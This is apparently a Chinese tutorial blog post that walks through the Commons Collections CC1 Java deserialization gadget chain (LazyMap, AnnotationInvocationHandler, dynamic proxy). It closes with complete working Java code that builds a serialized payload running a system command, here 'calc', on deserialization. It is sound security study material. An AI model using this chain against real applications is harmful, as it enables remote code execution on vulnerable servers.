JAVA反序列化漏洞利用链之CC1-2

1.简介

  • 该链主要利用org.apache.commons.collections.functors.InvokerTransformer类可通过反射调用程序中任意方法,包括Runtime.getRuntime()方法。
  • pom.xml导入commons-collections依赖
1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
  • 该篇讲的是CC1中的一条链,也是原作者最开始用的一条链,前面一篇不过是之后的变种,也就是说这个才是原来那条最开始流行的CC1链。

2.代码分析

2.1.执行类分析(这部分和上一节一样)

  1. 在CC1中用来作为执行类的是org.apache.commons.collections.functors.InvokerTransformer
  2. 首先我们需要分析一下为什么该来可以用来作为执行类。
    • 在该类中存在一个可传入任意对象执行反射调用方法transform,改方法可传入一个Object类型的对象,且其中调用的方法名和方法参数都可通过构造方法进行控制。
    • 构造方法参数
      • methodName 需要调用方法的方法名。
      • paramTypes 调用方法的参数类型。
      • args 调用方法所传入的参数。
    • 通过控制该类对象我们可以调用任意的对象的任意方法,因此这个类是一个很好的执行类。
    • 并且该类实现了Serializable接口,是可序列化的类。
    • 该类是commons.collections中的类,也就是说只要导入了CC依赖的目标系统都存在该类。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

//构造方法
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
  1. 我们再来分析一下我们如何通过这个类来实现执行系统命令。

    • 首先在JAVA中我们通常是通过Runtime.getRuntime.exec()来实现执行系统命令。
    • 但是由于Runtime类并未实现Serializable接口,因此不可进行序列化。不过由于Class类是实现了Serializable接口,因此我们可以通过反射调用。
    1
    2
    3
    4
    5
    Class c = Runtime.class;
    Method getRuntimeMethod = c.getMethod("getRuntime", null);
    Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
    Method execMethod = c.getMethod("exec", String.class);
    execMethod.invoke(r, "calc");
    • 我们再使用InvokerTransformer来调用
    1
    2
    3
    4
    Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);

    Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
    • 这样写的话我们需要调用三个对象的transform方法,实现起来比较困难。有没有什么方法将三个transform放在一起执行?
    • 这个时候我们可以看到和InvokerTransformer同一个包下的ChainedTransformer,该类可以传入transformer数组,并依次调用传入的对象的transform方法,并将前一个调用的结果作为后一个对象transform方法的入参。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
    }
    public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
    object = iTransformers[i].transform(object);
    }
    return object;
    }
    • 那么我们封装编写一下,就有如下的代码逻辑。
    1
    2
    3
    4
    5
    6
    7
    Transformer[] transformers = new Transformer[]{
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    chainedTransformer.transform(Runtime.class);
    • 但是该代码逻辑还是有个小问题,就是调用chainedTransformer.transform()方法需要我们固定传入一个Runtime.class,否则之后的代码逻辑无法再执行下去。
    • 因此基于以上的代码逻辑我们还可以优化一下。同样我们在同一个包下,我们可以看到叫ConstantTransformer的类,该类接收一个参数构造对象,之后该ConstantTransformer对象调用transform方法,无论调用transform方法传入什么对象,都只会返回我们构造参数时传入的参数,那么我们可以优化代码,这样写了之后无论 chainedTransformer.transform()传入什么参数都不影响代码的执行。
    1
    2
    3
    4
    5
    6
    7
    8
    public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
    }

    public Object transform(Object input) {
    return iConstant;
    }
    1
    2
    3
    4
    5
    6
    7
    8
    Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    chainedTransformer.transform("xxxx");
    • 那么这样优化代码之后我们只需要执行 chainedTransformer.transform()方法就可以执行到我们想要执行的系统命令。
  2. 最后什么执行类整体逻辑如下图。

image-20250114145918262

2.2.调用链

  1. 那么接下来我们需要寻找的就需要寻找有哪些类调用了有一个参数的transform()方法,或者是否直接有什么类的中的readObject方法中调用了该transform方法,由于我们使用了ConstanTransformer类进行配置,因此我们不需要在意transform()是否可控,只要调用了一个参数的transform()类都可以尝试调用链利用。
  2. 在IDEA中我们可以通过查找用法,找到都有哪些类方法对该方法进行了调用,之前我们找到找到org.apache.commons.collections.map.TransformedMap,现在我们还可以用另外一个类,也就是org.apache.commons.collections.map.Lazymap 这个类,其中的get()方法也调用了transform()方法,同时该类可序列化满足条件。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
   public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

3.此时我们需要找的是存在调用get方法的类,那么在这么多可以调用get方法的类中我们找到什么类呢,我们还是可以看到在上次CC1中所使用的AnnotationInvocationHandler,在这个的invoke方法的中调用了get方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

// Handle annotation member accessors
Object result = memberValues.get(member);

if (result == null)
throw new IncompleteAnnotationException(type, member);

if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();

if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);

return result;
}

且memberValues为构造对象时可传入的可控对象。那么我们就可以尝试使用该类。

编写代码如下:

1
2
3
4
5
6
7
8

LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aihc = c.getDeclaredConstructor(Class.class, Map.class);
aihc.setAccessible(true);
//将lazyMap传入InvocationHandler中,当调用InvocationHandler的invoke方法时,调用lazyMap的get方法
InvocationHandler ih = (InvocationHandler) aihc.newInstance(Override.class,lazyMap);
  1. 那么是需要继续找什么哪些类调用了invoke方法吗,其实不用,因为我们找的AnnotationInvocationHandler类是动态代理处理类,写过动态代理的都知道如何使用,我们构建的动态代理对象调用任何方式时,代理处理器类则会执行invoke方法调用代理对象的方法。因此我们想要执行invoke方法只需要构建一个代理对象,当代理对象调用任何方法时,JAVA底层动态代理都会调用该invoke方法,导致get方法的调用。

  2. 不过在这之前我们还需要处理一下invoke中的两个if和一个switch,否则invoke方法提前返回就执行不到get方法了。其中第一个if是为了拦截equals方法,第二个if是校验参数有参的方法的,当有参数的方法时会抛出异常。那么switch就简单了,只要不是toString、hashCode、annotationType就可。因此找下一个方法时需要注意一下。

  3. 那么下一个方法,我们可能就找到入口类了,因为下一个可找的类比较宽泛。

image-20250205163737249

2.3.入口类

  1. 我们想要执行AnnotationInvocationHandler的invoke方法,只需要创建任意一个代理类,并将我们构建好的ih传进去即可。

    我们可以构建如下代码

    1
    Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, ih);
  2. 接下来我们只需要执行该proxyMap对象的任意无参方法的即可执行ih对象的invoke方法。

  3. 这个时候我们又可以看到AnnotationInvocationHandler本身了,这个类本身的readobject就存在传入对象的方法执行。其中memberValues类就是我们可传入的对象,在readobject方法中memberValues调用了entrySet方法,因此就形成了闭环,可以说是相当的巧妙。不过这个入口类并不是一定需要用AnnotationInvocationHandler,可以使用任意readobject中调用了可控参数的任意无参方法的类均可用来做入口类,这里为了巧妙和方便又使用了以此AnnotationInvocationHandler方法。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();

    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
    annotationType = AnnotationType.getInstance(type);
    } catch (IllegalArgumentException e) {
    // Class is no longer an annotation type; time to punch out
    throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
    String name = memberValue.getKey();
    Class<?> memberType = memberTypes.get(name);
    if (memberType != null) { // i.e. member still exists
    Object value = memberValue.getValue();
    if (!(memberType.isInstance(value) ||
    value instanceof ExceptionProxy)) {
    memberValue.setValue(
    new AnnotationTypeMismatchExceptionProxy(
    value.getClass() + "[" + value + "]").setMember(
    annotationType.members().get(name)));
    }
    }
    }
    }

    构建代码如下:

    1
    2
    3
    4
    Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, ih);
    Object o = aihc.newInstance(Override.class, proxyMap);
    Serializer.serialize(o);
    Serializer.deSerialize("ser.bin");

2.4.完整代码逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class CC12Test {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {

//构建chainedTransformer链式调用
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

//构造lazyMap,调用lazyMap的get方法时调用chainedTransformer的transform方法
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aihc = c.getDeclaredConstructor(Class.class, Map.class);
aihc.setAccessible(true);
InvocationHandler ih = (InvocationHandler) aihc.newInstance(Override.class,lazyMap);
//调用ih的invoke方法时调用lazyMap的get方法

//构建动态代理
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, ih);
Object o = aihc.newInstance(Override.class, proxyMap);
//调用proxyMap的entrySet方法

Serializer.serialize(o);

Serializer.deSerialize("ser.bin");
//反序列化调用o的readObject方法

}
}

3.总结

  1. 该链为最开始运用的CC1链,稍微会比之前那条CC1链要绕一些,同时该链适用的java版本也要低一些,在1.8_65以上就不可用了。
  2. 该链和前面那条CC1链相比最主要的区别就是利用到了JAVA动态代理处理器类的机制的主动调用invoke方法。

image-20250205165109872